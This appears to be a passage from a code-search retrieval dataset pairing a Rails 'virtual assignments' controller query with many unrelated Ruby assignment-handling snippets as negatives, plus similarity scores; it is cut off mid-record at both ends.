@assignments\n end", "def task_assignments\n harvest_client.task_assignments(project_id: self.id)\n end", "def index\n @assignment_special_assignments = Assignment::SpecialAssignment.paginate(:page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignment_special_assignments }\n end\n end", "def find_assignments\n assignment_ids =[]\n results = CONNECTION.execute(\"SELECT * FROM assignments_links WHERE link_id = #{@id};\")\n results.each do |hash|\n assignment_ids << hash[\"assignment_id\"]\n end\n Assignment.find_many(assignment_ids)\n end", "def get_project_assignments\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:student_approved => true, :professor_approved => true)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end", "def assignments\n @assignments = Assignment.where(\"email=?\",session[:user].email)\n end", "def index\n id = params[:ids].first.split(\":\").third\n assignment = AllAboard::PerspectiveAssignment.find(id)\n respond_with assignment.configurable_attributes\n end", "def task_assignments\n @task_assignments ||= Harvest::API::TaskAssignments.new(credentials)\n end", "def get_assignments(course_id)\n\n request = Net::HTTP::Get.new(\n \"/api/v1/courses/#{course_id}/assignments?include=overrides&access_token=#{Rails.application.secrets.canvas_access_token}\"\n )\n response = open_canvas_http.request(request)\n info = get_all_from_pagination(response)\n\n info\n end", "def index\n @exceller_assignments = ExcellerAssignment.all\n end", "def index\n unless params[:assignment_id]\n render json: format_errors({ base: ['This Endpoint requires a assignment_id in the params'] }),\n status: :bad_request\n return\n end\n\n @iterations = current_user.iterations(includes: includes_array)\n .where(assignment_id: params[:assignment_id])\n serialize_collection @iterations, :ok\n end", "def user_assignments\n harvest_client.user_assignments(project_id: self.id)\n end", "def index\n @assignments = current_campaign.all_assignments.order(id: :desc)\n end", "def all\n @assignments = TaskAssignment.all\n\n end", "def user_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/permissionSetAssignments\", params)\n end", "def assignments\n\t\t@course = Course.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend", "def index\n @roles_assignments = RolesAssignment.all\n end", "def live_assignments\n project_assignments.future_project_assignments(Date.current)\n end", "def all\n @assignments\n end", "def show\n #@@assignment = return_if_assignment_exists?\n @temp_assignment = @assignment.assignments_users.where(:assignee_id => current_user.id)\n @comments = @assignment.comments\n @subtasks = @assignment.subtasks\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def index\n @assigned_owners = AssignedOwner.all\n end", "def index\n @tasks = @assignment.tasks.all \n end", "def goto_assignments\n node_object = TreeFolder.find_by_name('Assignments')\n session[:root] = FolderNode.find_by_node_object_id(node_object.id).id\n redirect_to controller: 'tree_display', action: 'list'\n end", "def view\n @subject = Subject.find(params[:id])\n @assignments = @subject.assignments.limit(10).reverse_order\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end", "def assignments\n Assignment.where(:course_id => id)\n end", "def show\n @assignment_status = AssignmentStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment_status }\n end\n end", "def index\n @student_assignments = StudentAssignment.all\n end", "def user_assignments\n @user_assignments ||= Harvest::API::UserAssignments.new(credentials)\n end", "def index\n @activites = @association.activites\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @activites.to_xml }\n end\n end", "def new\n @task = Task.find(params[:task_id])\n @project = @task.project\n @assignment = @task.assignments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def show\n @subject = Subject.find(params[:id])\n @view_all = params[:view_all]\n @assignments = @subject.assignments.all\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end", "def index\n @assignments = Assignment.all\n if current_user.instructor?(@course)\n if @assignment = @course.assignments.last\n @URL = course_assignment_url(@course, @assignment)\n else\n @URL = edit_user_path(current_user, :course => @course.id) #default is settings page\n end\n else #student\n if urgent = @course.to_do(current_user)[0] # see if student has a to_do\n @URL = course_assignment_url(@course, urgent[:assignment])\n elsif (any = @course.assignments.select{|a| !a.draft }).length > 0\n @URL = course_assignment_path(@course, any.sort_by{|a| a.created_at }.last ) #show newest assignment\n else\n @URL = edit_user_path(current_user) #go to settings page\n end\n end\n\n respond_to do |format|\n format.html { redirect_to(@URL) }\n format.json { render json: @assignments }\n end\n end", "def show\n @assigned_project = AssignedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned_project }\n end\n end", "def assignments\n self.course.assignments if self.course\n end", "def index\n #@habits = Habit.find(:all)\n #@habit_assignments = Assignment.find_all_habits\n @habit_assignments = Assignment.find_all_habits(@user.id, params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @habits }\n end\n end", "def all_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"permissionSets/#{id}/assignments\", params)\n end", "def index\n @case_assignments = CaseAssignment.all\n end", "def index\n groups = get_collection(assignment.groups) || return\n\n group_data = include_memberships(groups)\n\n respond_to do |format|\n format.xml do\n render xml: group_data.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json { render json: group_data }\n end\n end", "def index\n @device_assignments = DeviceAssignment.all\n end", "def index\n @assigners = Assigner.all\n end", "def index\n @states_assigns = StatesAssign.all\n end", "def show\n @store = Store.find(params[:id])\n @cur_assign = @store.assignments.current\n \n @cur_emp = Array.new\n \n @cur_assign.each do |assignment|\n @cur_emp << assignment.employee\n end\n end", "def get_assignment\n return TestCase.find(params[:id]).assignment\n end", "def show\n authorize! :read, @assignment\n end", "def index\n @now_assigns = NowAssign.all\n end", "def index\n @power_assignments = PowerAssignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @power_assignments }\n end\n end", "def index\n render json: Assignment.all\n end", "def show\n @roster = Roster.find(params[:id])\n @positions = @roster.apparatus.collect{|a| a.positions}.flatten.uniq\n @assignment = @roster.assignments.find{|a| a.roster_id == @roster.id }\n #@assign = @assignment.id\n end", "def course_assignments\n all_assignments = []\n params = \"per_page=100\"\n while params do\n response = request_uncached(\n \"courses/#{@course_id}/assignments?#{params}\",\n '_course_assignments'\n )\n break unless (response && response.status == 200 && assignments_list = safe_json(response.body))\n all_assignments.concat(assignments_list)\n params = next_page_params(response)\n end\n all_assignments\n end", "def assignments; end", "def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end", "def index\n @assignments = $current_community.assignments.where(:close_date => nil).joins(:assignment_status) \n authorize Assignment\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @assignment }\n end\n end", "def index\n #@assignments = Assignment.find(:all, :conditions => { :public => true })\n redirect_to project_task_path(params[:project_id],params[:task_id])\n\n end", "def new\n @task_assignment = TaskAssignment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment.to_json }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def index\n @assignment_employees = AssignmentEmployee.all\n end", "def current_assignments\n @assignments = current_user.current_studio_assignments\n @costumes = @assignments.find_costumes\n @season = @assignments.first.dance_season unless @assignments.empty?\n end", "def new\n @cim_hrdb_person = Person.find(params[:cim_hrdb_person_id])\n @cim_hrdb_assignment = @cim_hrdb_person.assignments.build(:person_id => params[:cim_hrdb_person_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def show\n\t\t@assignment = Assignment.find(params[:id])\n\tend", "def new\n @assignmentstatus = Assignmentstatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignmentstatus }\n end\n end", "def index\n #@tasks = current_user.assignments\n @tasks = current_user.watching_tasks.pending.paginate(page: params[:page], per_page: 10)\n @fin_tasks = current_user.watching_tasks.completed.paginate(page: params[:page], per_page: 10) unless params[:page]\n end", "def user_role_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/roleAssignments\", params)\n end", "def show\n @pending_titles_for_collection = PendingTitlesForCollection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pending_titles_for_collection }\n end\n end", "def set_assigned\n @assigned = Assigned.find(params[:id])\n end", "def show\n @branch = Branch.find(params[:id], :include => :assignments)\n @salespeople = Salesperson.find_not_in_branch( @branch.id )\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @branch }\n end\n end", "def index_with_unit\n @assignments = current_user.assignments(includes: includes_array)\n .where(unit_id: params[:unit_id])\n serialize_collection @assignments, :ok\n end" ]
[ "0.6637697", "0.6236051", "0.614057", "0.5941413", "0.5779441", "0.5718009", "0.5718009", "0.5718009", "0.5718009", "0.5694754", "0.5692379", "0.5641", "0.5634241", "0.5632164", "0.5620639", "0.55808663", "0.55584", "0.552809", "0.55277765", "0.54885304", "0.54813457", "0.5473395", "0.54664904", "0.54462063", "0.54462063", "0.5442744", "0.54424435", "0.543699", "0.543699", "0.543699", "0.543699", "0.543699", "0.5428419", "0.5415942", "0.54065776", "0.53935975", "0.53934693", "0.5378907", "0.5375642", "0.53660816", "0.53623176", "0.53454465", "0.53444123", "0.53424984", "0.533985", "0.5326278", "0.5315596", "0.53087854", "0.52856356", "0.5285457", "0.5284111", "0.52795225", "0.52715045", "0.5265683", "0.52572614", "0.5221962", "0.52207977", "0.52204615", "0.52154016", "0.52031296", "0.5200692", "0.5189077", "0.5183532", "0.51752806", "0.5159715", "0.5154393", "0.5146425", "0.51370734", "0.5130121", "0.50950915", "0.50937396", "0.5088206", "0.5079586", "0.50587356", "0.50547004", "0.504404", "0.50394404", "0.5036344", "0.50356495", "0.50350183", "0.5033576", "0.50267226", "0.501052", "0.5008559", "0.5007912", "0.49976054", "0.49956203", "0.4992788", "0.4992788", "0.4992788", "0.4988767", "0.49855796", "0.49806923", "0.4978521", "0.49750197", "0.49745667", "0.49638152", "0.49617994", "0.49605018", "0.4954955", "0.4952032" ]
0.0
-1
GET /virtual_assignments/1 GET /virtual_assignments/1.xml
def show @virtual_assignment = @object respond_to do |format| format.html # show.html.erb format.xml { render :xml => @virtual_assignment.to_xml(:dasherize => false) } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end", "def show\n @assignmentstatus = Assignmentstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignmentstatus }\n end\n end", "def show\n @assignment = Assignment.find(params[:id]) #respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @assignments }\n @task = @assignment.task\n @project = @task.project\n \n @assignee = @assignment.user\n @members = @project.memberships.select { |member| member.is_approved? }\n @candidates = @members.collect { |member| member.user }\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def index\n @assignmentstatuses = Assignmentstatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignmentstatuses }\n end\n end", "def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def index\n @task_assignments = TaskAssignment.all\n end", "def show\n @assigned = Assigned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned }\n end\n end", "def index\n @assignments = Assignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def index\n @assignments = Assignment.all\n end", "def new\n @task = Task.find(params[:task_id])\n @project = @task.project\n @assignment = @task.assignments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end", "def new\n @assignmentstatus = Assignmentstatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignmentstatus }\n end\n end", "def goto_assignments\n goto_controller('Assignments')\n end", "def show\n @assignment_status = AssignmentStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment_status }\n end\n end", "def index\n @techers_assignments = TechersAssignment.all\n end", "def index\n @activity_participant_assignments = ActivityParticipantAssignment.all\n end", "def index\n #@meeting_assignments = Assignment.find_all_meetings\n @meeting_assignments = Assignment.find_all_meetings(@user.id, params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meetings }\n end\n end", "def view\n @subject = Subject.find(params[:id])\n @assignments = @subject.assignments.limit(10).reverse_order\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end", "def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignments }\n end\n end", "def goto_assignments\n node_object = TreeFolder.find_by_name('Assignments')\n session[:root] = FolderNode.find_by_node_object_id(node_object.id).id\n redirect_to controller: 'tree_display', action: 'list'\n end", "def show\n @subject = Subject.find(params[:id])\n @view_all = params[:view_all]\n @assignments = @subject.assignments.all\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end", "def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def new\n @task_assignment = TaskAssignment.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_assignment }\n end\n end", "def show\n @assignment_log = AssignmentLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @assignment_log.to_xml }\n end\n end", "def show\n @node_rack_node_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @node_rack_node_assignment.to_xml(:dasherize => false) }\n end\n end", "def show\n @agile_task = AgileTask.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @agile_task }\n end\n end", "def index\n id = params[:ids].first.split(\":\").third\n assignment = AllAboard::PerspectiveAssignment.find(id)\n respond_with assignment.configurable_attributes\n end", "def index\n @assignments = Assignment.all\n\t@users = User.all\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end", "def index\n\t\t@assignments = Assignment.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @assignments }\n\t\tend\n\tend", "def show\n #@@assignment = return_if_assignment_exists?\n @temp_assignment = @assignment.assignments_users.where(:assignee_id => current_user.id)\n @comments = @assignment.comments\n @subtasks = @assignment.subtasks\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def new\n @cim_hrdb_person = Person.find(params[:cim_hrdb_person_id])\n @cim_hrdb_assignment = @cim_hrdb_person.assignments.build(:person_id => params[:cim_hrdb_person_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "def index\n @current_assignments = Assignment.current.by_employee.paginate(page: params[:page]).per_page(10)\n @past_assignments = Assignment.past.by_employee.paginate(page: params[:page]).per_page(10) \n end", "def show\n\t\t@assignment = Assignment.find(params[:id])\n\tend", "def index\n render json: { assignments: [ @assignment.as_json ] }\n end", "def index\n @exceller_assignments = ExcellerAssignment.all\n end", "def show\n @assigned_project = AssignedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned_project }\n end\n end", "def index\n #@habits = Habit.find(:all)\n #@habit_assignments = Assignment.find_all_habits\n @habit_assignments = Assignment.find_all_habits(@user.id, params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @habits }\n end\n end", "def index\n @assignment_special_assignments = Assignment::SpecialAssignment.paginate(:page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignment_special_assignments }\n end\n end", "def show\n @service_service_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_service_assignment.to_xml(:dasherize => false) }\n end\n end", "def show\n @pending_titles_for_collection = PendingTitlesForCollection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pending_titles_for_collection }\n end\n end", "def get_project_assignments\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:student_approved => true, :professor_approved => true)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end", "def index\n @user_assignments = UserAssignment.all\n end", "def show\n @project_status = ProjectStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_status }\n end\n end", "def show\n @visit_stat = VisitStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end", "def get_assignment\n return TestCase.find(params[:id]).assignment\n end", "def show\r\n @project_supervisor = ProjectSupervisor.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @project_supervisor }\r\n end\r\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @assignment }\n end\n end", "def index\n @tasks = @assignment.tasks.all \n end", "def show\n @assignment = Assignment.find_by_id(params[:id])\n end", "def show\n @task_priority = TaskPriority.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @task_priority }\n end\n end", "def find_assignments\n assignment_ids =[]\n results = CONNECTION.execute(\"SELECT * FROM assignments_links WHERE link_id = #{@id};\")\n results.each do |hash|\n assignment_ids << hash[\"assignment_id\"]\n end\n Assignment.find_many(assignment_ids)\n end", "def index\n @assignments = current_campaign.all_assignments.order(id: :desc)\n end", "def show\n @assignment = Assignment.find(params[:id])\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end", "def user_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/permissionSetAssignments\", params)\n end", "def show\n @solution = PeerReviewSolution.find(params[:id])\n @assignment = @solution.peer_review_assignment\n @peer_review = @assignment.peer_review\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @solution }\n end\n end", "def show\n @roster = Roster.find(params[:id])\n @positions = @roster.apparatus.collect{|a| a.positions}.flatten.uniq\n @assignment = @roster.assignments.find{|a| a.roster_id == @roster.id }\n #@assign = @assignment.id\n end", "def show\n @branch = Branch.find(params[:id], :include => :assignments)\n @salespeople = Salesperson.find_not_in_branch( @branch.id )\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @branch }\n end\n end", "def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment.to_json }\n end\n end", "def show\n @ip = AllowedIpAddress.find(params[:id])\n #@stages = @host.stages.uniq.sort_by{|x| x.project.name}\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ip.to_xml }\n end\n end", "def show\n @virtualmachines = Virtualmachine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @virtualmachines }\n end\n end", "def show\n @project_objective = ProjectObjective.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_objective }\n end\n end", "def show\n @retain_node_selector = RetainNodeSelector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @retain_node_selector }\n end\n end", "def index\n @assignments = Assignment.all\n if current_user.instructor?(@course)\n if @assignment = @course.assignments.last\n @URL = course_assignment_url(@course, @assignment)\n else\n @URL = edit_user_path(current_user, :course => @course.id) #default is settings page\n end\n else #student\n if urgent = @course.to_do(current_user)[0] # see if student has a to_do\n @URL = course_assignment_url(@course, urgent[:assignment])\n elsif (any = @course.assignments.select{|a| !a.draft }).length > 0\n @URL = course_assignment_path(@course, any.sort_by{|a| a.created_at }.last ) #show newest assignment\n else\n @URL = edit_user_path(current_user) #go to settings page\n end\n end\n\n respond_to do |format|\n format.html { redirect_to(@URL) }\n format.json { render json: @assignments }\n end\n end", "def show\n @patient_assignment = PatientAssignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_assignment }\n end\n end", "def index\n @activites = @association.activites\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @activites.to_xml }\n end\n end", "def task_assignments\n harvest_client.task_assignments(project_id: self.id)\n end", "def show\n @account_group_self_group_assignment = @object\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @account_group_self_group_assignment.to_xml(:dasherize => false) }\n end\n end", "def all\n @assignments = TaskAssignment.all\n\n end", "def index\n @setid = params[:setid]\n #returns the resource view. Notes that it was passed a set as parameter and not a resource itself.\n @view = session[:application].get(params[:setid]).resources[0].explorator::view\n end", "def index\r\n @project_supervisors = ProjectSupervisor.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @project_supervisors }\r\n end\r\n end", "def task_assignments\n @task_assignments ||= Harvest::API::TaskAssignments.new(credentials)\n end", "def show\n @rg_task = RgTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rg_task }\n end\n end", "def assignments\n\t\t@course = Course.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend", "def show\n @meeting = Meeting.find(params[:id])\n @assignment = Assignment.find(:first,\n :conditions => [\"assignable_type = ? and assignable_id = ?\",\n @meeting.class.to_s, @meeting.id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @meeting }\n end\n end", "def show\n @subtask = Subtask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subtask }\n end\n end", "def index\n @student_assignments = StudentAssignment.all\n end", "def show\n @auditflows_flownode = AuditflowsFlownode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auditflows_flownode }\n end\n end", "def assignments\n Assignment.where(:course_id => id)\n end", "def get_task\n @task = Task.find(params[:task_id])\n @assignment = Assignment.find(@task.assignment_id)\n end", "def show\n @test_subject_evaluation = @test_subject.test_subject_evaluations.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @test_subject_evaluation }\n end\n end", "def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end", "def index\n unless params[:assignment_id]\n render json: format_errors({ base: ['This Endpoint requires a assignment_id in the params'] }),\n status: :bad_request\n return\n end\n\n @iterations = current_user.iterations(includes: includes_array)\n .where(assignment_id: params[:assignment_id])\n serialize_collection @iterations, :ok\n end", "def show\n @store = Store.find(params[:id])\n @cur_assign = @store.assignments.current\n \n @cur_emp = Array.new\n \n @cur_assign.each do |assignment|\n @cur_emp << assignment.employee\n end\n end", "def index\n @computer_allocations = ComputerAllocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @computer_allocations }\n end\n end", "def show \n PivotalTracker::Client.token = current_user.setting.pt_api_key\n @project = PivotalTracker::Project.find(params[:id].to_i)\n @stories = @project.stories.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end", "def show\n @ppos_prerequisite = PposPrerequisite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ppos_prerequisite }\n end\n end", "def get_assignments(course_id)\n\n request = Net::HTTP::Get.new(\n \"/api/v1/courses/#{course_id}/assignments?include=overrides&access_token=#{Rails.application.secrets.canvas_access_token}\"\n )\n response = open_canvas_http.request(request)\n info = get_all_from_pagination(response)\n\n info\n end", "def show\n @borrower_residence = BorrowerResidence.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @borrower_residence.to_xml }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @task }\n end\n end", "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end", "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end", "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end" ]
[ "0.65502846", "0.62129265", "0.61084586", "0.6005439", "0.5856372", "0.5856372", "0.5789025", "0.57328445", "0.5596506", "0.55791974", "0.5557281", "0.5557281", "0.5557281", "0.5557281", "0.5512219", "0.54899293", "0.5450475", "0.5450208", "0.54385656", "0.54090863", "0.5399597", "0.5392483", "0.5385873", "0.5369686", "0.53645116", "0.53446263", "0.53320605", "0.5325726", "0.5325702", "0.532059", "0.53201795", "0.53197867", "0.5317275", "0.5278764", "0.5275536", "0.52600026", "0.5242939", "0.5232826", "0.52307916", "0.52270824", "0.52119595", "0.5205729", "0.5202088", "0.5200095", "0.5197695", "0.51874393", "0.5186375", "0.51739174", "0.5172941", "0.51697296", "0.51673824", "0.5167191", "0.5164441", "0.5162354", "0.5149637", "0.5149506", "0.51444864", "0.5142019", "0.51420015", "0.51420015", "0.51420015", "0.5136832", "0.51357275", "0.51240563", "0.5114849", "0.5114695", "0.5100552", "0.5084449", "0.50842214", "0.508226", "0.508127", "0.507936", "0.50767606", "0.50764453", "0.5076141", "0.50751525", "0.5069706", "0.5066678", "0.5062429", "0.5062062", "0.5058549", "0.5055505", "0.50532717", "0.5052313", "0.5044255", "0.5042927", "0.50425464", "0.5041906", "0.50399786", "0.50327045", "0.5032123", "0.50255996", "0.50209665", "0.5020523", "0.5018343", "0.49956864", "0.49951208", "0.49949557", "0.49949557", "0.49949557" ]
0.6513034
1
POST /virtual_assignments POST /virtual_assignments.xml
def create @virtual_assignment = VirtualAssignment.new(params[:virtual_assignment]) vmhost = Node.find(params[:virtual_assignment][:parent_id]) return unless filter_perms(@auth,vmhost,['updater']) vmguest = Node.find(params[:virtual_assignment][:child_id]) return unless filter_perms(@auth,vmguest,['updater']) respond_to do |format| if @virtual_assignment.save format.html { flash[:notice] = 'VirtualAssignment was successfully created.' redirect_to virtual_assignment_url(@virtual_assignment) } format.js { render(:update) { |page| page.replace_html 'virtual_assignments', :partial => 'nodes/virtual_assignments', :locals => { :node => @virtual_assignment.virtual_host } page.hide 'create_virtual_assignment' page.show 'add_virtual_assignment_link' } } format.xml { head :created, :location => virtual_assignment_url(@virtual_assignment) } else format.html { render :action => "new" } format.js { render(:update) { |page| page.alert(@virtual_assignment.errors.full_messages) } } format.xml { render :xml => @virtual_assignment.errors.to_xml, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @assignment = @user.assignments.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n flash[:notice] = 'Committee assignment was successfully created'\n format.html { redirect_to user_assignments_path(@user) }\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n frm.button(:value=>\"Post\").click\n AssignmentsList.new(@browser)\n end", "def post\n frm.button(:name=>\"post\").click\n AssignmentsList.new(@browser)\n end", "def assigned_params\n params.require(:assigned).permit(:grantor, :grantee, :relation, :can_grant)\n end", "def create\n @assigned = Assigned.new(params[:assigned])\n\n respond_to do |format|\n if @assigned.save\n format.html { redirect_to @assigned, notice: 'Assigned was successfully created.' }\n format.json { render json: @assigned, status: :created, location: @assigned }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_virtual_assignments_to_parents\n # We can wimp out of actually walking the tree here and operate on\n # all_parent_groups. We avoid the explicit tree walking (which is done\n # by all_parent_groups) but might have to check more groups than we\n # would if we actually walked the tree if the vip has another real\n # assignment to a parent vip. If we walked the tree we could stop at\n # that point (as we would know that we inserted virtual\n # assignments above that parent when the 